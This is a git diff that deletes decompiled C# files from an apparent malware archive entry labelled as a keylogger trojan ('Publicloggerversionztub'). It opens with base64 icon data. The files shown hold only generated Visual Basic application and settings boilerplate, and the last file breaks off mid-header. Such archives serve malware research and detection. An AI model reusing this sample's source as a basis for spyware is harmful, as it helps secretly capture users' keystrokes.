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 - - \ No newline at end of file diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.ajb-34132edf41a9fe3359ebc67aedcf2dca594b4e5145bfa81e9a8b1d0fa57c1b2f/My/MyApplication.cs b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.ajb-34132edf41a9fe3359ebc67aedcf2dca594b4e5145bfa81e9a8b1d0fa57c1b2f/My/MyApplication.cs deleted file mode 100644 index ce1f2a07..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.ajb-34132edf41a9fe3359ebc67aedcf2dca594b4e5145bfa81e9a8b1d0fa57c1b2f/My/MyApplication.cs +++ /dev/null @@ -1,48 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: AHSJKHwyIUYUIYIYI8sOIioOID.My.MyApplication -// Assembly: Publicloggerversionztub, Version=2.0.0.2, Culture=neutral, PublicKeyToken=null -// MVID: 02BBAAFD-61B0-4722-9D55-257F48A7F005 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan-Spy.MSIL.KeyLogger.ajb-34132edf41a9fe3359ebc67aedcf2dca594b4e5145bfa81e9a8b1d0fa57c1b2f.exe - -using Microsoft.VisualBasic.ApplicationServices; -using System; -using System.CodeDom.Compiler; -using System.ComponentModel; -using System.Diagnostics; -using System.Windows.Forms; - -namespace AHSJKHwyIUYUIYIYI8sOIioOID.My -{ - [GeneratedCode("MyTemplate", "8.0.0.0")] - [EditorBrowsable(EditorBrowsableState.Never)] - internal class MyApplication : WindowsFormsApplicationBase - { - [EditorBrowsable(EditorBrowsableState.Advanced)] - [DebuggerHidden] - [STAThread] - internal static void Main(string[] Args) - { - try - { - Application.SetCompatibleTextRenderingDefault(WindowsFormsApplicationBase.UseCompatibleTextRendering); - } - finally - { - } - MyProject.Application.Run(Args); - } - - [DebuggerStepThrough] - public MyApplication() - : base(AuthenticationMode.Windows) - { - this.IsSingleInstance = false; - this.EnableVisualStyles = true; - this.SaveMySettingsOnExit = true; - this.ShutdownStyle = ShutdownMode.AfterMainFormCloses; - } - - [DebuggerStepThrough] - protected override void OnCreateMainForm() => this.MainForm = (Form) MyProject.Forms.Form1; - } -} diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.ajb-34132edf41a9fe3359ebc67aedcf2dca594b4e5145bfa81e9a8b1d0fa57c1b2f/My/MyComputer.cs b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.ajb-34132edf41a9fe3359ebc67aedcf2dca594b4e5145bfa81e9a8b1d0fa57c1b2f/My/MyComputer.cs deleted file mode 100644 index 7556acae..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.ajb-34132edf41a9fe3359ebc67aedcf2dca594b4e5145bfa81e9a8b1d0fa57c1b2f/My/MyComputer.cs +++ /dev/null @@ -1,24 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: AHSJKHwyIUYUIYIYI8sOIioOID.My.MyComputer -// Assembly: Publicloggerversionztub, Version=2.0.0.2, Culture=neutral, PublicKeyToken=null -// MVID: 02BBAAFD-61B0-4722-9D55-257F48A7F005 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan-Spy.MSIL.KeyLogger.ajb-34132edf41a9fe3359ebc67aedcf2dca594b4e5145bfa81e9a8b1d0fa57c1b2f.exe - -using Microsoft.VisualBasic.Devices; -using System.CodeDom.Compiler; -using System.ComponentModel; -using System.Diagnostics; - -namespace AHSJKHwyIUYUIYIYI8sOIioOID.My -{ - [EditorBrowsable(EditorBrowsableState.Never)] - [GeneratedCode("MyTemplate", "8.0.0.0")] - internal class MyComputer : Computer - { - [DebuggerHidden] - [EditorBrowsable(EditorBrowsableState.Never)] - public MyComputer() - { - } - } -} diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.ajb-34132edf41a9fe3359ebc67aedcf2dca594b4e5145bfa81e9a8b1d0fa57c1b2f/My/MyProject.cs b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.ajb-34132edf41a9fe3359ebc67aedcf2dca594b4e5145bfa81e9a8b1d0fa57c1b2f/My/MyProject.cs deleted file mode 100644 index e437f06a..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.ajb-34132edf41a9fe3359ebc67aedcf2dca594b4e5145bfa81e9a8b1d0fa57c1b2f/My/MyProject.cs +++ /dev/null @@ -1,212 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: AHSJKHwyIUYUIYIYI8sOIioOID.My.MyProject -// Assembly: Publicloggerversionztub, Version=2.0.0.2, Culture=neutral, PublicKeyToken=null -// MVID: 02BBAAFD-61B0-4722-9D55-257F48A7F005 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan-Spy.MSIL.KeyLogger.ajb-34132edf41a9fe3359ebc67aedcf2dca594b4e5145bfa81e9a8b1d0fa57c1b2f.exe - -using Microsoft.VisualBasic; -using Microsoft.VisualBasic.ApplicationServices; -using Microsoft.VisualBasic.CompilerServices; -using System; -using System.CodeDom.Compiler; -using System.Collections; -using System.ComponentModel; -using System.ComponentModel.Design; -using System.Diagnostics; -using System.Reflection; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; -using System.Windows.Forms; - -namespace AHSJKHwyIUYUIYIYI8sOIioOID.My -{ - [HideModuleName] - [StandardModule] - [GeneratedCode("MyTemplate", "8.0.0.0")] - internal sealed class MyProject - { - private static readonly MyProject.ThreadSafeObjectProvider m_ComputerObjectProvider = new MyProject.ThreadSafeObjectProvider(); - private static readonly MyProject.ThreadSafeObjectProvider m_AppObjectProvider = new MyProject.ThreadSafeObjectProvider(); - private static readonly MyProject.ThreadSafeObjectProvider m_UserObjectProvider = new MyProject.ThreadSafeObjectProvider(); - private static MyProject.ThreadSafeObjectProvider m_MyFormsObjectProvider = new MyProject.ThreadSafeObjectProvider(); - private static readonly MyProject.ThreadSafeObjectProvider m_MyWebServicesObjectProvider = new MyProject.ThreadSafeObjectProvider(); - - [DebuggerNonUserCode] - static MyProject() - { - } - - [HelpKeyword("My.Computer")] - internal static MyComputer Computer - { - [DebuggerHidden] get => MyProject.m_ComputerObjectProvider.GetInstance; - } - - [HelpKeyword("My.Application")] - internal static MyApplication Application - { - [DebuggerHidden] get => MyProject.m_AppObjectProvider.GetInstance; - } - - [HelpKeyword("My.User")] - internal static User User - { - [DebuggerHidden] get => MyProject.m_UserObjectProvider.GetInstance; - } - - [HelpKeyword("My.Forms")] - internal static MyProject.MyForms Forms - { - [DebuggerHidden] get => MyProject.m_MyFormsObjectProvider.GetInstance; - } - - [HelpKeyword("My.WebServices")] - internal static MyProject.MyWebServices WebServices - { - [DebuggerHidden] get => MyProject.m_MyWebServicesObjectProvider.GetInstance; - } - - [MyGroupCollection("System.Windows.Forms.Form", "Create__Instance__", "Dispose__Instance__", "My.MyProject.Forms")] - [EditorBrowsable(EditorBrowsableState.Never)] - internal sealed class MyForms - { - public Form1 m_Form1; - [ThreadStatic] - private static Hashtable m_FormBeingCreated; - - public Form1 Form1 - { - [DebuggerNonUserCode] get - { - this.m_Form1 = MyProject.MyForms.Create__Instance__(this.m_Form1); - return this.m_Form1; - } - [DebuggerNonUserCode] set - { - if (value == this.m_Form1) - return; - if (value != null) - throw new ArgumentException("Property can only be set to Nothing"); - this.Dispose__Instance__(ref this.m_Form1); - } - } - - [DebuggerHidden] - private static T Create__Instance__(T Instance) where T : Form, new() - { - if ((object) Instance != null && !Instance.IsDisposed) - return Instance; - if (MyProject.MyForms.m_FormBeingCreated != null) - { - if (MyProject.MyForms.m_FormBeingCreated.ContainsKey((object) typeof (T))) - throw new InvalidOperationException(Utils.GetResourceString("WinForms_RecursiveFormCreate")); - } - else - MyProject.MyForms.m_FormBeingCreated = new Hashtable(); - MyProject.MyForms.m_FormBeingCreated.Add((object) typeof (T), (object) null); - try - { - return new T(); - } - catch (TargetInvocationException ex) when ( - { - // ISSUE: unable to correctly present filter - ProjectData.SetProjectError((Exception) ex); - if (ex.InnerException != null) - { - SuccessfulFiltering; - } - else - throw; - } - ) - { - throw new InvalidOperationException(Utils.GetResourceString("WinForms_SeeInnerException", ex.InnerException.Message), ex.InnerException); - } - finally - { - MyProject.MyForms.m_FormBeingCreated.Remove((object) typeof (T)); - } - } - - [DebuggerHidden] - private void Dispose__Instance__(ref T instance) where T : Form - { - instance.Dispose(); - instance = default (T); - } - - [EditorBrowsable(EditorBrowsableState.Never)] - [DebuggerHidden] - public MyForms() - { - } - - [EditorBrowsable(EditorBrowsableState.Never)] - public override bool Equals(object o) => base.Equals(RuntimeHelpers.GetObjectValue(o)); - - [EditorBrowsable(EditorBrowsableState.Never)] - public override int GetHashCode() => base.GetHashCode(); - - [EditorBrowsable(EditorBrowsableState.Never)] - internal new System.Type GetType() => typeof (MyProject.MyForms); - - [EditorBrowsable(EditorBrowsableState.Never)] - public override string ToString() => base.ToString(); - } - - [MyGroupCollection("System.Web.Services.Protocols.SoapHttpClientProtocol", "Create__Instance__", "Dispose__Instance__", "")] - [EditorBrowsable(EditorBrowsableState.Never)] - internal sealed class MyWebServices - { - [DebuggerHidden] - [EditorBrowsable(EditorBrowsableState.Never)] - public override bool Equals(object o) => base.Equals(RuntimeHelpers.GetObjectValue(o)); - - [EditorBrowsable(EditorBrowsableState.Never)] - [DebuggerHidden] - public override int GetHashCode() => base.GetHashCode(); - - [EditorBrowsable(EditorBrowsableState.Never)] - [DebuggerHidden] - internal new System.Type GetType() => typeof (MyProject.MyWebServices); - - [DebuggerHidden] - [EditorBrowsable(EditorBrowsableState.Never)] - public override string ToString() => base.ToString(); - - [DebuggerHidden] - private static T Create__Instance__(T instance) where T : new() => (object) instance == null ? new T() : instance; - - [DebuggerHidden] - private void Dispose__Instance__(ref T instance) => instance = default (T); - - [EditorBrowsable(EditorBrowsableState.Never)] - [DebuggerHidden] - public MyWebServices() - { - } - } - - [ComVisible(false)] - [EditorBrowsable(EditorBrowsableState.Never)] - internal sealed class ThreadSafeObjectProvider where T : new() - { - internal T GetInstance - { - [DebuggerHidden] get - { - if ((object) MyProject.ThreadSafeObjectProvider.m_ThreadStaticValue == null) - MyProject.ThreadSafeObjectProvider.m_ThreadStaticValue = new T(); - return MyProject.ThreadSafeObjectProvider.m_ThreadStaticValue; - } - } - - [DebuggerHidden] - [EditorBrowsable(EditorBrowsableState.Never)] - public ThreadSafeObjectProvider() - { - } - } - } -} diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.ajb-34132edf41a9fe3359ebc67aedcf2dca594b4e5145bfa81e9a8b1d0fa57c1b2f/My/MySettings.cs b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.ajb-34132edf41a9fe3359ebc67aedcf2dca594b4e5145bfa81e9a8b1d0fa57c1b2f/My/MySettings.cs deleted file mode 100644 index 220a3d69..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.ajb-34132edf41a9fe3359ebc67aedcf2dca594b4e5145bfa81e9a8b1d0fa57c1b2f/My/MySettings.cs +++ /dev/null @@ -1,73 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: AHSJKHwyIUYUIYIYI8sOIioOID.My.MySettings -// Assembly: Publicloggerversionztub, Version=2.0.0.2, Culture=neutral, PublicKeyToken=null -// MVID: 02BBAAFD-61B0-4722-9D55-257F48A7F005 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan-Spy.MSIL.KeyLogger.ajb-34132edf41a9fe3359ebc67aedcf2dca594b4e5145bfa81e9a8b1d0fa57c1b2f.exe - -using Microsoft.VisualBasic.ApplicationServices; -using Microsoft.VisualBasic.CompilerServices; -using System; -using System.CodeDom.Compiler; -using System.ComponentModel; -using System.Configuration; -using System.Diagnostics; -using System.Runtime.CompilerServices; -using System.Threading; - -namespace AHSJKHwyIUYUIYIYI8sOIioOID.My -{ - [CompilerGenerated] - [EditorBrowsable(EditorBrowsableState.Advanced)] - [GeneratedCode("Microsoft.VisualStudio.Editors.SettingsDesigner.SettingsSingleFileGenerator", "9.0.0.0")] - internal sealed class MySettings : ApplicationSettingsBase - { - private static MySettings defaultInstance = (MySettings) SettingsBase.Synchronized((SettingsBase) new MySettings()); - private static bool addedHandler; - private static object addedHandlerLockObject = RuntimeHelpers.GetObjectValue(new object()); - - [DebuggerNonUserCode] - public MySettings() - { - } - - [EditorBrowsable(EditorBrowsableState.Advanced)] - [DebuggerNonUserCode] - private static void AutoSaveSettings(object sender, EventArgs e) - { - if (!MyProject.Application.SaveMySettingsOnExit) - return; - MySettingsProperty.Settings.Save(); - } - - public static MySettings Default - { - get - { - if (!MySettings.addedHandler) - { - object handlerLockObject = MySettings.addedHandlerLockObject; - ObjectFlowControl.CheckForSyncLockOnValueType(handlerLockObject); - Monitor.Enter(handlerLockObject); - try - { - if (!MySettings.addedHandler) - { - MyProject.Application.Shutdown += (ShutdownEventHandler) ((sender, e) => - { - if (!MyProject.Application.SaveMySettingsOnExit) - return; - MySettingsProperty.Settings.Save(); - }); - MySettings.addedHandler = true; - } - } - finally - { - Monitor.Exit(handlerLockObject); - } - } - return MySettings.defaultInstance; - } - } - } -} diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.ajb-34132edf41a9fe3359ebc67aedcf2dca594b4e5145bfa81e9a8b1d0fa57c1b2f/My/MySettingsProperty.cs b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.ajb-34132edf41a9fe3359ebc67aedcf2dca594b4e5145bfa81e9a8b1d0fa57c1b2f/My/MySettingsProperty.cs deleted file mode 100644 index 3ee73f7f..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.ajb-34132edf41a9fe3359ebc67aedcf2dca594b4e5145bfa81e9a8b1d0fa57c1b2f/My/MySettingsProperty.cs +++ /dev/null @@ -1,24 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: AHSJKHwyIUYUIYIYI8sOIioOID.My.MySettingsProperty -// Assembly: Publicloggerversionztub, 